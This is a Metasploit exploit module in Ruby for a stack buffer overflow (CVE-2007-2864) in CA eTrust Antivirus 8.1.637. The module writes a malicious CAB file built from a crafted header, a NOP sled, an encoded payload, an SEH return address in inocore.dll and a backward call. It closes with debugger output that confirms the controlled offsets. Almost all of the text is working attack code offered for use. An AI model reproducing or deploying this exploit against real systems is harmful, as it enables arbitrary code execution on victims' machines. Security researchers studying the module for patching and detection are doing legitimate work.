CA Antivirus Engine CAB Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA Antivirus Engine CAB Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in CA eTrust Antivirus 8.1.637.  
By creating a specially crafted CAB file, an an attacker may be able  
to execute arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'BID', '24330' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ],  
[ 'CVE', '2007-2864' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 250,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll   
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 05 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),  
], self.class)  
  
end  
  
def exploit  
  
cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"  
cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"  
cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"  
cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"  
  
sploit = make_nops(268 - payload.encoded.length) + payload.encoded  
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string  
sploit << make_nops(800)  
  
cab = cab_header + sploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(cab)   
  
end  
  
end  
  
=begin  
0:001> !exchain  
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)  
00cdf2fc: 316a4130  
Invalid exception stack at 6a413969  
0:001> !pattern_offset 1024 0x6a413969  
[Byakugan] Control of 0x6a413969 at offset 268.  
0:001> !pattern_offset 1024 0x316a4130  
[Byakugan] Control of 0x316a4130 at offset 272.  
0:001> u 0x6dc886ea L3  
INOCORE!QSIInitQSysInfo+0x278a:  
6dc886ea 5f pop edi  
6dc886eb 5e pop esi  
6dc886ec c3 ret  
=end  
`